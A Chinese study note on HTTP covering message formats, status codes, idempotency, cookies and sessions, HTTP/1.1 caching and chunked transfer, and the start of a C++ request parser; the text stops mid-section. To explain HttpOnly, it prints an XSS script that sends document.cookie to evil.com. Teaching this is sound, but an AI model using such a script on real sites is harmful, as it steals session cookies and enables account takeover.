HTTP协议深度解析:从基础到性能优化

HTTP协议深度解析:从基础到性能优化

这是我在计网深度学习中第三篇技术总结。经过之前对TCP协议的深入学习,我开始转向应用层的HTTP协议。这篇文章将系统梳理HTTP的核心知识点,包括协议基础、请求响应格式、状态码、HTTP/1.1的关键特性,以及如何在C++ Reactor项目中实现一个高性能的HTTP服务器。

目录

  • 一、为什么要学HTTP?
  • 二、HTTP协议基础
    • [2.1 HTTP是什么](#2.1 HTTP是什么)
    • [2.2 HTTP工作流程](#2.2 HTTP工作流程)
    • [2.3 HTTP请求格式](#2.3 HTTP请求格式)
    • [2.4 HTTP响应格式](#2.4 HTTP响应格式)
    • [2.5 HTTP状态码详解](#2.5 HTTP状态码详解)
  • [三、GET vs POST:深入理解幂等性](#三、GET vs POST:深入理解幂等性)
    • [3.1 核心区别](#3.1 核心区别)
    • [3.2 幂等性详解](#3.2 幂等性详解)
    • [3.3 实际应用场景](#3.3 实际应用场景)
  • 四、Cookie与Session:状态管理
    • [4.1 HTTP的无状态特性](#4.1 HTTP的无状态特性)
    • [4.2 Cookie机制](#4.2 Cookie机制)
    • [4.3 Session机制](#4.3 Session机制)
    • [4.4 完整登录流程](#4.4 完整登录流程)
    • [4.5 HttpOnly安全属性](#4.5 HttpOnly安全属性)
  • 五、HTTP/1.1核心特性
    • [5.1 持久连接(Keep-Alive)](#5.1 持久连接(Keep-Alive))
    • [5.2 缓存验证机制](#5.2 缓存验证机制)
    • [5.3 Host头与虚拟主机](#5.3 Host头与虚拟主机)
    • [5.4 分块传输编码](#5.4 分块传输编码)
  • 六、在Reactor项目中实现HTTP服务器
    • [6.1 HTTP请求解析](#6.1 HTTP请求解析)
    • [6.2 HTTP响应构造](#6.2 HTTP响应构造)
    • [6.3 持久连接实现](#6.3 持久连接实现)
    • [6.4 缓存验证实现](#6.4 缓存验证实现)
    • [6.5 Host头路由实现](#6.5 Host头路由实现)
  • 七、面试要点总结
    • [7.1 必背知识点](#7.1 必背知识点)
    • [7.2 高频面试题](#7.2 高频面试题)
    • [7.3 项目亮点](#7.3 项目亮点)
  • 八、学习心得与建议

一、为什么要学HTTP?

在完成TCP协议的学习后,我意识到仅仅掌握传输层还不够。当面试官问"你的项目支持HTTP协议吗?"时,我需要能够清晰地回答:

  1. 项目完整性:一个完整的网络服务器不仅要处理TCP连接,还要能解析HTTP请求、构造HTTP响应
  2. 实际应用:现实中99%的Web服务都基于HTTP,理解HTTP才能真正理解网络编程
  3. 面试高频:HTTP相关问题在网络编程面试中占比极高,特别是GET/POST区别、状态码、缓存机制等

更重要的是,HTTP协议是TCP协议的"客户",学习HTTP可以帮助我更好地理解TCP:

  • 为什么需要持久连接? 因为HTTP/1.0每次请求都要三次握手,开销太大
  • 为什么需要可靠传输? 因为HTTP需要保证数据完整性
  • 为什么需要拥塞控制? 因为HTTP传输的数据量可能很大

二、HTTP协议基础

2.1 HTTP是什么

HTTP = HyperText Transfer Protocol(超文本传输协议)

三个关键词:

  1. HyperText(超文本):不仅仅是文本,还包括图片、视频、音频、链接等
  2. Transfer(传输):客户端和服务器之间传输数据
  3. Protocol(协议):规定了数据传输的格式和规则

HTTP的核心特点:

复制代码
应用层     HTTP ← 我们在这里
           ↓(基于)
传输层     TCP ← 提供可靠传输
           ↓(基于)
网络层     IP
           ↓(基于)
数据链路层 以太网

默认端口:
  HTTP:80
  HTTPS:443

无状态(Stateless):

HTTP本身不记住之前的请求,每个请求都是独立的。这带来了问题:如何维持登录状态?如何记住购物车?

解决方案:Cookie + Session机制(后面详细讲)


2.2 HTTP工作流程

复制代码
1. 建立TCP连接(三次握手)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   客户端 → 服务器:SYN
   服务器 → 客户端:SYN+ACK
   客户端 → 服务器:ACK
   
   连接建立

2. 发送HTTP请求
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   客户端 → 服务器:
   GET /index.html HTTP/1.1
   Host: www.example.com
   ...

3. 服务器处理请求
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   服务器:
   - 解析请求
   - 读取/index.html文件
   - 准备响应

4. 发送HTTP响应
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   服务器 → 客户端:
   HTTP/1.1 200 OK
   Content-Type: text/html
   ...
   <html>...</html>

5. 关闭TCP连接(或保持连接)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   HTTP/1.0:默认关闭连接(四次挥手)
   HTTP/1.1:默认保持连接(Keep-Alive)

2.3 HTTP请求格式

HTTP请求由三部分组成(四部分如果算上可选的请求体):

复制代码
┌──────────────────────────────────────┐
│ 请求行(Request Line)                │  ← 必须
│ 格式:方法 URL HTTP版本\r\n          │
├──────────────────────────────────────┤
│ 请求头(Request Headers)             │  ← 必须
│ 格式:键: 值\r\n                     │
│ (多行)                             │
├──────────────────────────────────────┤
│ 空行(\r\n)                         │  ← 必须(分隔符)
├──────────────────────────────────────┤
│ 请求体(Request Body)                │  ← 可选
│ (POST请求通常有,GET通常没有)       │
└──────────────────────────────────────┘

完整的GET请求示例:

http 复制代码
GET /api/user?id=123&name=john HTTP/1.1\r\n
Host: www.example.com\r\n
User-Agent: Mozilla/5.0\r\n
Accept: application/json\r\n
Accept-Encoding: gzip, deflate\r\n
Connection: keep-alive\r\n
Cookie: sessionid=abc123\r\n
\r\n

关键点:

  • 参数在URL中:?id=123&name=john
  • 没有Content-Type(没有请求体)
  • 没有Content-Length(没有请求体)
  • 空行结束(\r\n

完整的POST请求示例:

http 复制代码
POST /api/login HTTP/1.1\r\n
Host: www.example.com\r\n
User-Agent: Mozilla/5.0\r\n
Content-Type: application/json\r\n
Content-Length: 45\r\n
Connection: keep-alive\r\n
\r\n
{"username":"john","password":"123456"}

关键点:

  • 有Content-Type:application/json
  • 有Content-Length:45(请求体长度)
  • 空行后是请求体
  • 请求体是JSON格式

常用的HTTP方法:

复制代码
GET:获取资源
  - 最常用
  - 幂等、可缓存
  - 参数在URL中
  
POST:创建资源
  - 提交数据
  - 非幂等、不缓存
  - 参数在请求体中
  
PUT:更新资源(完整更新)
  - 幂等、不缓存
  
DELETE:删除资源
  - 幂等、不缓存
  
HEAD:获取响应头(不要响应体)
  - 幂等、可缓存
  - 用于检查资源是否存在
  
OPTIONS:查询支持的方法
  - 幂等
  - 用于CORS预检请求

常用请求头:

复制代码
Host: www.example.com
  - 目标主机(HTTP/1.1必须)

User-Agent: Mozilla/5.0 ...
  - 客户端信息

Content-Type: application/json
  - 请求体类型

Content-Length: 123
  - 请求体长度

Cookie: sessionid=abc123
  - 会话信息

Accept: application/json
  - 可接受的响应类型

Authorization: Bearer token123
  - 身份验证

Connection: keep-alive
  - 连接管理

Accept-Encoding: gzip, deflate
  - 支持的压缩方式

2.4 HTTP响应格式

HTTP响应也由三部分组成:

复制代码
┌──────────────────────────────────────┐
│ 状态行(Status Line)                 │  ← 必须
│ 格式:HTTP版本 状态码 状态描述\r\n   │
├──────────────────────────────────────┤
│ 响应头(Response Headers)            │  ← 必须
│ 格式:键: 值\r\n                     │
│ (多行)                             │
├──────────────────────────────────────┤
│ 空行(\r\n)                         │  ← 必须(分隔符)
├──────────────────────────────────────┤
│ 响应体(Response Body)               │  ← 通常有
│ (HTML、JSON、图片等)                │
└──────────────────────────────────────┘

200 OK响应示例:

http 复制代码
HTTP/1.1 200 OK\r\n
Server: nginx/1.18.0\r\n
Date: Mon, 03 Nov 2025 12:00:00 GMT\r\n
Content-Type: text/html; charset=utf-8\r\n
Content-Length: 137\r\n
Connection: keep-alive\r\n
Cache-Control: max-age=3600\r\n
\r\n
<html>
  <head><title>Example</title></head>
  <body><h1>Hello World</h1></body>
</html>

常用响应头:

复制代码
Content-Type: text/html; charset=utf-8
  - 响应体类型

Content-Length: 1234
  - 响应体长度

Server: nginx/1.18.0
  - 服务器信息

Set-Cookie: sessionid=abc123; HttpOnly
  - 设置Cookie

Cache-Control: max-age=3600
  - 缓存控制

Last-Modified: Mon, 03 Nov 2025 10:00:00 GMT
  - 最后修改时间

ETag: "123456"
  - 资源唯一标识

Location: http://www.example.com/new
  - 重定向地址

Connection: keep-alive
  - 连接管理

2.5 HTTP状态码详解

状态码是HTTP响应的核心,面试必考。必须记住这10个:

2xx - 成功:

复制代码
200 OK
  - 请求成功
  - 最常见的状态码
  - 服务器成功处理请求并返回数据
  
  例子:
    GET /api/user/123 → 200 OK + 用户信息
    POST /api/orders → 200 OK + 订单信息

3xx - 重定向:

复制代码
301 Moved Permanently
  - 永久重定向
  - 资源永久移动到新位置
  - 浏览器会自动跳转,并记住新地址
  - 搜索引擎会更新索引
  
  例子:
    访问:http://example.com
    响应:301 Moved Permanently
         Location: http://www.example.com
    浏览器:自动跳转到www.example.com,以后直接访问新地址
    
302 Found
  - 临时重定向
  - 资源临时移动到新位置
  - 浏览器会跳转,但不记住新地址
  - 搜索引擎不更新索引
  
  例子:
    未登录访问:/profile
    响应:302 Found
         Location: /login
    浏览器:跳转到/login,登录后再回到/profile
    
304 Not Modified
  - 资源未修改(缓存有效)
  - 浏览器可以使用缓存
  - 节省带宽,提高速度
  
  例子:
    请求:GET /logo.png
         If-Modified-Since: Mon, 01 Nov 2025 10:00:00 GMT
    响应:304 Not Modified(资源没变,用缓存)
    浏览器:使用本地缓存的logo.png

4xx - 客户端错误:

复制代码
400 Bad Request
  - 客户端请求错误
  - 请求格式错误、参数错误
  
  例子:
    POST /api/login
    {"username": "john"}  ← 缺少password字段
    响应:400 Bad Request + {"error": "缺少password字段"}
    
401 Unauthorized
  - 未授权
  - 需要身份验证
  
  例子:
    GET /api/profile(没有携带Cookie或Token)
    响应:401 Unauthorized + {"error": "请先登录"}
    
403 Forbidden
  - 禁止访问
  - 已登录,但没有权限
  
  例子:
    普通用户访问:GET /admin/users
    响应:403 Forbidden + {"error": "权限不足"}
    
404 Not Found
  - 资源不存在
  - 最常见的错误状态码
  
  例子:
    GET /notexist.html
    响应:404 Not Found

5xx - 服务器错误:

复制代码
500 Internal Server Error
  - 服务器内部错误
  - 代码异常、数据库错误
  
  例子:
    GET /api/user/123
    服务器:数据库查询时抛出异常
    响应:500 Internal Server Error
    
502 Bad Gateway
  - 网关错误
  - 上游服务器错误
  
  例子:
    Nginx → 后端服务器(无法连接)
    响应:502 Bad Gateway
    
503 Service Unavailable
  - 服务不可用
  - 服务器过载或维护
  
  例子:
    服务器重启中
    响应:503 Service Unavailable
         Retry-After: 300(5分钟后重试)

三、GET vs POST:深入理解幂等性

这是面试中的高频考点,必须能够清晰回答。

3.1 核心区别

复制代码
┌──────────────┬─────────────────┬─────────────────┐
│ 对比项       │ GET             │ POST            │
├──────────────┼─────────────────┼─────────────────┤
│ 参数位置     │ URL中           │ 请求体中        │
├──────────────┼─────────────────┼─────────────────┤
│ 参数长度     │ 有限制(~2KB)  │ 无限制          │
├──────────────┼─────────────────┼─────────────────┤
│ 安全性       │ 低(URL可见)   │ 高(不在URL中) │
├──────────────┼─────────────────┼─────────────────┤
│ 缓存         │ 可以缓存        │ 通常不缓存      │
├──────────────┼─────────────────┼─────────────────┤
│ 历史记录     │ 保留在浏览器    │ 不保留          │
├──────────────┼─────────────────┼─────────────────┤
│ 书签         │ 可以添加        │ 不可添加        │
├──────────────┼─────────────────┼─────────────────┤
│ 幂等性       │ 幂等            │ 非幂等          │
├──────────────┼─────────────────┼─────────────────┤
│ 语义         │ 获取资源        │ 提交/修改资源   │
└──────────────┴─────────────────┴─────────────────┘

3.2 幂等性详解

定义:

复制代码
幂等性(Idempotent):
  对同一个操作执行多次
  结果与执行一次相同

HTTP方法的幂等性:

复制代码
GET(幂等):
  GET /api/user?id=123
  第1次:返回用户123的信息
  第2次:返回用户123的信息(相同)
  
PUT(幂等):
  PUT /api/user/123 + {"name": "john", "age": 26}
  第1次:用户123更新为 {name: "john", age: 26}
  第2次:用户123还是 {name: "john", age: 26}(相同)
  
DELETE(幂等):
  DELETE /api/user/123
  第1次:用户123被删除 → 200 OK
  第2次:用户123已不存在 → 404 Not Found
  最终状态相同(用户123不存在)
  
POST(非幂等):
  POST /api/orders + {"product_id": 100}
  第1次:创建订单1001
  第2次:创建订单1002(不同)
  第3次:创建订单1003(不同)

幂等性的重要性:

复制代码
1. 安全的重试机制:
   GET请求:网络超时,可以安全重试
   POST请求:网络超时,重试可能重复创建
   
2. 浏览器行为:
   刷新页面(F5):
     GET请求 → 直接重新请求
     POST请求 → 浏览器警告:"是否重新提交表单?"
   
3. 负载均衡:
   幂等请求可以安全地在多个服务器之间分发

3.3 实际应用场景

GET请求示例:

http 复制代码
GET /api/user?id=123 HTTP/1.1
Host: www.example.com
Accept: application/json

特点:
- 参数在URL中,可见
- 可以直接在浏览器地址栏访问
- 可以添加书签
- 会被浏览器缓存

POST请求示例:

http 复制代码
POST /api/login HTTP/1.1
Host: www.example.com
Content-Type: application/json
Content-Length: 45

{"username":"john","password":"123456"}

特点:
- 参数在请求体中,不可见
- 无法直接在浏览器地址栏访问
- 不可添加书签
- 不会被浏览器缓存

四、Cookie与Session:状态管理

HTTP是无状态的,但我们需要维持用户的登录状态。Cookie和Session就是解决这个问题的方案。

4.1 HTTP的无状态特性

复制代码
HTTP本身不记住之前的请求
每个请求都是独立的

例子:
  第1次请求:GET /page1 → 服务器返回page1
  第2次请求:GET /page2 → 服务器不知道你刚才请求过page1
  
问题:
  如何维持登录状态?
  如何记住购物车?

4.2 Cookie机制

存储位置: 客户端(浏览器)
容量: 小(~4KB)
安全性: 相对低(可被窃取)

工作流程:

复制代码
1. 服务器通过Set-Cookie响应头设置Cookie
2. 浏览器自动保存Cookie到本地
3. 后续请求自动携带Cookie
  
例子:
  服务器响应:
    Set-Cookie: sessionid=abc123; Path=/; HttpOnly; Secure
    
  浏览器保存:
    sessionid=abc123
    
  后续请求:
    Cookie: sessionid=abc123  ← 自动携带

4.3 Session机制

存储位置: 服务器端
容量: 大(无限制)
安全性: 高(存在服务器)

存储方式:

复制代码
1. 内存(简单,但重启丢失)
2. Redis(常用,性能好)
3. 数据库(持久化)
  
内容:
  sessionid: abc123
  数据:
    user_id: 123
    username: "john"
    login_time: "2025-11-03 12:00:00"

4.4 完整登录流程

这是面试中的重点,必须能画出完整流程图。

复制代码
步骤1:用户登录(POST /api/login)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端 → 服务器:
  POST /api/login HTTP/1.1
  Content-Type: application/json
  
  {"username": "john", "password": "123456"}
  
服务器处理:
  1. 验证用户名和密码
  2. 创建Session:
     sessionid = abc123xyz
     存储:{user_id: 123, username: "john"}
  3. 返回响应,设置Cookie
  
服务器 → 客户端:
  HTTP/1.1 200 OK
  Set-Cookie: sessionid=abc123xyz; Path=/; HttpOnly; Secure
  
  {"code": 200, "message": "登录成功"}
  
浏览器处理:
  保存Cookie:sessionid=abc123xyz

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
步骤2:访问受保护资源(GET /api/profile)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端 → 服务器:
  GET /api/profile HTTP/1.1
  Cookie: sessionid=abc123xyz  ← 自动携带
  
服务器处理:
  1. 读取Cookie中的sessionid
  2. 查询Session存储
  3. 找到sessionid=abc123xyz
  4. 确认用户已登录
  5. 返回用户信息
  
服务器 → 客户端:
  HTTP/1.1 200 OK
  
  {"username": "john", "email": "john@example.com"}

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
步骤3:退出登录(POST /api/logout)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端 → 服务器:
  POST /api/logout HTTP/1.1
  Cookie: sessionid=abc123xyz
  
服务器处理:
  1. 删除Session
  2. 返回响应,删除Cookie
  
服务器 → 客户端:
  HTTP/1.1 200 OK
  Set-Cookie: sessionid=; Max-Age=0  ← 删除Cookie
  
  {"code": 200, "message": "退出成功"}

4.5 HttpOnly安全属性

这是Cookie安全的关键属性,防止XSS攻击。

没有HttpOnly的危险(XSS攻击):

复制代码
1. 黑客在评论中插入恶意脚本:
   <script>
     fetch('http://evil.com?cookie=' + document.cookie)
   </script>

2. 用户打开页面,脚本执行

3. JavaScript读取Cookie:
   document.cookie  // sessionid=abc123

4. Cookie被发送到evil.com

5. 黑客获得sessionid,可以冒充用户

有HttpOnly的保护:

复制代码
Set-Cookie: sessionid=abc123; HttpOnly

JavaScript无法读取:
  document.cookie  // 读不到sessionid

XSS攻击失败:
  1. 黑客插入恶意脚本
  2. 脚本执行
  3. 尝试读取Cookie
  4. 读取失败!sessionid被保护
  
只有浏览器能在HTTP请求中自动携带Cookie
JavaScript无法访问

完整Cookie属性:

复制代码
Set-Cookie: sessionid=abc123; Path=/; HttpOnly; Secure; Max-Age=3600

属性说明:
  sessionid=abc123:Cookie的值
  Path=/:作用于整个网站
  HttpOnly:防止JavaScript读取(防XSS)
  Secure:只在HTTPS中传输(防中间人攻击)
  Max-Age=3600:有效期3600秒(1小时)

五、HTTP/1.1核心特性

HTTP/1.1相比HTTP/1.0有重大改进,这些改进直接影响到Web性能。

5.1 持久连接(Keep-Alive)

问题背景:HTTP/1.0的性能瓶颈

复制代码
HTTP/1.0每个请求都要建立新TCP连接

例如:3个资源(HTML、CSS、JS)

[TCP握手1] → [请求HTML] → [响应HTML] → [TCP挥手1]
[TCP握手2] → [请求CSS] → [响应CSS] → [TCP挥手2]
[TCP握手3] → [请求JS] → [响应JS] → [TCP挥手3]

总时间:6个RTT(3次握手 + 3次请求+响应)

问题:
  - 延迟高(每个请求2个RTT)
  - 资源浪费(频繁建立/关闭连接)
  - 效率低

HTTP/1.1的解决方案:持久连接

复制代码
1个TCP连接,处理多个请求

[TCP握手]
  → [请求HTML] → [响应HTML]
  → [请求CSS] → [响应CSS]
  → [请求JS] → [响应JS]
[TCP挥手]

总时间:4个RTT(1次握手 + 3次请求+响应)

优势:
  - 只需一次TCP握手
  - 节省2个RTT(比非持久连接)
  - 减少服务器资源消耗

HTTP头控制:

复制代码
HTTP/1.1默认开启Keep-Alive:
  Connection: keep-alive
  Keep-Alive: timeout=5, max=100
    - timeout=5:空闲5秒后关闭
    - max=100:最多处理100个请求

关闭Keep-Alive:
  Connection: close

非流水式 vs 流水式:

复制代码
非流水式(Non-Pipelined,HTTP/1.1默认):
  - 必须等待响应后才能发送下一个请求(串行)
  - 3个请求 = 3个RTT

流水式/管道化(Pipelined,HTTP/1.1可选):
  - 不等待响应,连续发送多个请求(并行)
  - 3个请求 = 1个RTT(最快)
  - 但存在HOL(Head-of-Line Blocking)问题
  - 实际很少使用

HOL(队头阻塞)问题:

复制代码
场景:
  请求1:大文件(5秒)
  请求2:小文件(0.1秒)
  请求3:小文件(0.1秒)

流水式:
  响应必须按顺序返回
  请求2和3必须等待请求1完成
  即使请求2和3已经处理完,也要等待

非流水式:
  请求2可以立即返回

实际应用:
  - 流水式虽然快,但HOL问题严重,很少使用
  - HTTP/1.1默认使用非流水式
  - HTTP/2.0解决了HOL问题(多路复用)

5.2 缓存验证机制

缓存是提升Web性能的关键,HTTP/1.1提供了强大的缓存验证机制。

为什么需要缓存?

复制代码
场景:网站的logo.png,很久不变
问题:每次访问都重新下载100KB的logo.png

没有缓存:
  每次访问 → 下载100KB → 浪费带宽

有缓存:
  第1次访问 → 下载100KB → 保存到本地
  第2次访问 → 使用本地缓存 → 节省100KB
  第3次访问 → 使用本地缓存 → 节省100KB

但是:如何知道缓存是否过期?
  → 需要缓存验证机制

方式1:Last-Modified / If-Modified-Since(基于时间)

复制代码
第1次请求(冷启动):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端:
  GET /logo.png HTTP/1.1
  Host: www.example.com

服务器处理:
  1. 读取logo.png
  2. 获取文件修改时间:stat("logo.png").st_mtime
     = Mon, 01 Nov 2025 10:00:00 GMT

服务器响应:
  HTTP/1.1 200 OK
  Content-Type: image/png
  Content-Length: 102400
  Last-Modified: Mon, 01 Nov 2025 10:00:00 GMT  ← 关键
  
  (logo.png的数据,102400字节)

浏览器:
  - 保存logo.png到缓存
  - 记录Last-Modified时间

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第2次请求(有缓存,需要验证):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端:
  GET /logo.png HTTP/1.1
  If-Modified-Since: Mon, 01 Nov 2025 10:00:00 GMT  ← 带上时间

服务器处理:
  1. 读取logo.png的当前修改时间
  2. 对比:
     If-Modified-Since == current_mtime?
     Mon, 01 Nov 2025 10:00:00 == Mon, 01 Nov 2025 10:00:00
     相同,文件没有修改

服务器响应:
  HTTP/1.1 304 Not Modified  ← 关键,不返回数据
  Last-Modified: Mon, 01 Nov 2025 10:00:00 GMT
  
  (没有响应体,节省102400字节带宽)

浏览器:
  使用本地缓存的logo.png

带宽节省:
  第1次:102400字节(数据)
  第2次:约200字节(只有响应头)  节省99.8%

Last-Modified的问题:

复制代码
1. 精度只有秒级:
   10:00:00.000 → 文件内容A
   10:00:00.500 → 文件内容B(0.5秒后修改)
   Last-Modified都是10:00:00,无法区分

2. 文件修改但内容未变:
   打开文件,直接保存(内容没变)
   修改时间变了 → 认为文件变了
   返回200 OK → 浪费带宽

3. 文件还原到之前的版本:
   版本A(10:00)→ 版本B(11:00)→ 版本A(12:00)
   修改时间12:00 != 11:00 → 认为变了
   但内容其实一样 → 浪费带宽

方式2:ETag / If-None-Match(基于内容)

复制代码
第1次请求:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端:
  GET /api/data HTTP/1.1

服务器处理:
  1. 生成数据:{"id": 123, "name": "john"}
  2. 计算ETag(MD5哈希):
     ETag = MD5({"id": 123, "name": "john"})
          = "abc123def456"

服务器响应:
  HTTP/1.1 200 OK
  Content-Type: application/json
  ETag: "abc123def456"  ← 关键,内容的哈希值
  
  {"id": 123, "name": "john"}

浏览器:
  - 保存数据到缓存
  - 记录ETag

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
第2次请求(验证):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
客户端:
  GET /api/data HTTP/1.1
  If-None-Match: "abc123def456"  ← 带上ETag

服务器处理:
  1. 生成当前数据:{"id": 123, "name": "john"}
  2. 计算当前ETag:
     current_ETag = MD5({"id": 123, "name": "john"})
                  = "abc123def456"
  3. 对比:
     If-None-Match == current_ETag
     "abc123def456" == "abc123def456"
     相同,内容没有变化

服务器响应:
  HTTP/1.1 304 Not Modified  ← 不返回数据
  ETag: "abc123def456"
  
  (没有响应体)

浏览器:
  使用本地缓存

ETag的优势:

复制代码
- 字节级精度(0.001秒内的修改也能检测)
- 基于内容,不受时间影响
- 内容不变,ETag就不变(即使保存了文件)
- 适合动态内容(API返回的JSON,没有"修改时间")

两种方式对比:

复制代码
┌──────────┬──────────────┬──────────────┐
│ 对比项   │ Last-Modified│ ETag         │
├──────────┼──────────────┼──────────────┤
│ 判断依据 │ 修改时间     │ 内容哈希值   │
├──────────┼──────────────┼──────────────┤
│ 精度     │ 秒级         │ 字节级       │
├──────────┼──────────────┼──────────────┤
│ 性能     │ 高(读时间) │ 低(算哈希) │
├──────────┼──────────────┼──────────────┤
│ 准确性   │ 低           │ 高           │
├──────────┼──────────────┼──────────────┤
│ 适用场景 │ 静态文件     │ 动态内容API  │
└──────────┴──────────────┴──────────────┘

优先级:ETag > Last-Modified(ETag更精确)

可以同时使用:
  服务器响应:
    HTTP/1.1 200 OK
    Last-Modified: Mon, 01 Nov 2025 10:00:00 GMT
    ETag: "abc123"

  客户端请求:
    If-Modified-Since: Mon, 01 Nov 2025 10:00:00 GMT
    If-None-Match: "abc123"

  服务器验证:
    1. 先检查ETag(更精确)
    2. 如果ETag相同,再检查Last-Modified
    3. 两者都满足 → 304 Not Modified

5.3 Host头与虚拟主机

HTTP/1.0的问题:

复制代码
一个IP地址只能部署一个网站

例如:
  服务器1:192.168.1.100 → www.example.com
  服务器2:192.168.1.101 → www.test.com
  服务器3:192.168.1.102 → www.demo.com

需要3个服务器,成本高

HTTP/1.1的解决方案:Host头

复制代码
一个IP地址可以部署多个网站(虚拟主机)

服务器:192.168.1.100
  ├─ www.example.com(根据Host头)
  ├─ www.test.com(根据Host头)
  └─ www.demo.com(根据Host头)

原理:
  客户端在HTTP请求中加上Host头
  服务器根据Host头路由到不同的网站根目录

完整流程:

复制代码
访问 www.example.com:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. DNS解析:www.example.com → 192.168.1.100
2. TCP连接:connect(192.168.1.100, 80)
3. HTTP请求:
   GET /index.html HTTP/1.1
   Host: www.example.com  ← 关键
   
4. 服务器处理:
   if (Host == "www.example.com") {
       return "/var/www/example/index.html";
   }

访问 www.test.com:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. DNS解析:www.test.com → 192.168.1.100  ← 同一个IP
2. TCP连接:connect(192.168.1.100, 80)
3. HTTP请求:
   GET /index.html HTTP/1.1
   Host: www.test.com  ← 不同的Host
   
4. 服务器处理:
   if (Host == "www.test.com") {
       return "/var/www/test/index.html";
   }

HTTP/1.1规范:

复制代码
Host头是必须的(MUST)

如果缺失Host头:
  GET /index.html HTTP/1.1
  (没有Host头)

  服务器:HTTP/1.1 400 Bad Request
          Missing Host header

5.4 分块传输编码

问题背景:动态内容长度未知

复制代码
场景1:动态生成HTML
  服务器从数据库查询数据,边查询边生成HTML
  不知道最终HTML有多长
  Content-Length: ???  ← 不知道

传统方法:
  1. 先生成完整HTML(保存到内存)
  2. 计算总长度
  3. 设置Content-Length
  4. 发送响应

缺点:
  - 延迟高(用户等待时间长)
  - 内存占用大(需要保存完整内容)

场景2:大文件下载
  1GB的文件,一次性读入内存?
  - 内存占用1GB

解决方案:分块传输编码

复制代码
不设置Content-Length
使用Transfer-Encoding: chunked
边生成边发送

格式:

复制代码
HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked  ← 关键
Connection: keep-alive

7\r\n          ← 第1块长度(16进制):7字节
Mozilla\r\n    ← 第1块数据
9\r\n          ← 第2块长度(16进制):9字节
Developer\r\n  ← 第2块数据
7\r\n          ← 第3块长度(16进制):7字节
Network\r\n    ← 第3块数据
0\r\n          ← 最后一块:长度为0,表示结束
\r\n           ← 结束标志

格式规则:
  每块:<长度16进制>\r\n<数据>\r\n
  结束:0\r\n\r\n

浏览器接收流程:

复制代码
1. 读取第1块长度:7(16进制)= 7字节
2. 读取7字节数据:"Mozilla"
3. 显示第1块内容(用户立刻看到)

4. 读取第2块长度:9(16进制)= 9字节
5. 读取9字节数据:"Developer"
6. 显示第2块内容(逐步显示)

7. 读取第3块长度:7(16进制)= 7字节
8. 读取7字节数据:"Network"
9. 显示第3块内容

10. 读取最后一块长度:0
11. 传输结束

完整内容:"MozillaDeveloperNetwork"

优势:

复制代码
- 降低延迟:边生成边发送,用户立刻看到内容
- 降低内存:不需要保存完整内容
- 支持实时流:日志流、视频流、SSE
- 用户体验好:逐步显示,而不是等待全部加载

适用场景:

复制代码
使用分块传输:
  - 动态生成的HTML(数据库查询)
  - 大文件下载(边读边发)
  - 实时数据流(日志、监控)
  - SSE(服务器推送事件)

不使用分块传输:
  - 静态文件(已知大小)
  - 小数据(几KB)
  - HTTP/1.0(不支持)

Transfer-Encoding vs Content-Encoding:

复制代码
┌──────────────┬──────────────────┬─────────────────┐
│ 对比项       │ Transfer-Encoding│ Content-Encoding│
├──────────────┼──────────────────┼─────────────────┤
│ 作用         │ 传输方式         │ 内容压缩        │
├──────────────┼──────────────────┼─────────────────┤
│ 常见值       │ chunked          │ gzip, br        │
├──────────────┼──────────────────┼─────────────────┤
│ 谁处理       │ HTTP协议栈       │ 应用层          │
├──────────────┼──────────────────┼─────────────────┤
│ Content-     │ 不需要(chunked)│ 需要(压缩后)  │
│ Length       │                  │                 │
└──────────────┴──────────────────┴─────────────────┘

可以同时使用:
  HTTP/1.1 200 OK
  Content-Encoding: gzip           ← 内容用gzip压缩
  Transfer-Encoding: chunked       ← 传输用分块

  处理流程:
    服务器:生成HTML → gzip压缩 → 分块传输
    客户端:分块接收 → 组装 → gzip解压 → 显示

六、在Reactor项目中实现HTTP服务器

现在把理论知识应用到实际项目中。我的C++ Reactor项目需要支持HTTP协议。

6.1 HTTP请求解析

首先需要解析HTTP请求。关键点:

  1. 请求行:方法、URL、HTTP版本
  2. 请求头:键值对
  3. 请求体:JSON或表单数据
cpp 复制代码
struct HttpRequest {
    std::string method;
    std::string url;
    std::string version;
    std::map<std::string, std::string> headers;
    std::string body;
};

void parse_http_request(const char* buf, int len, HttpRequest& req) {
    std::string request(buf, len);
    
    // 1. 解析请求行
    size_t pos1 = request.find(' ');
    size_t pos2 = request.find(' ', pos1 + 1);
    size_t pos3 = request.find("\r\n");
    
    req.method = request.substr(0, pos1);
    req.url = request.substr(pos1 + 1, pos2 - pos1 - 1);
    req.version = request.substr(pos2 + 1, pos3 - pos2 - 1);
    
    // 2. 解析请求头
    size_t header_start = pos3 + 2;
    size_t header_end = request.find("\r\n\r\n");
    
    std::string header_str = request.substr(header_start, 
                                             header_end - header_start);
    
    // 按行分割请求头
    std::istringstream iss(header_str);
    std::string line;
    while (std::getline(iss, line)) {
        if (line.empty() || line == "\r") break;
        
        size_t colon_pos = line.find(':');
        if (colon_pos != std::string::npos) {
            std::string key = line.substr(0, colon_pos);
            std::string value = line.substr(colon_pos + 2); // 跳过": "
            
            // 去掉行尾的\r
            if (!value.empty() && value.back() == '\r') {
                value.pop_back();
            }
            
            req.headers[key] = value;
        }
    }
    
    // 3. 解析请求体
    if (header_end != std::string::npos) {
        req.body = request.substr(header_end + 4);
    }
}

关键点:

  • 使用\r\n作为行分隔符
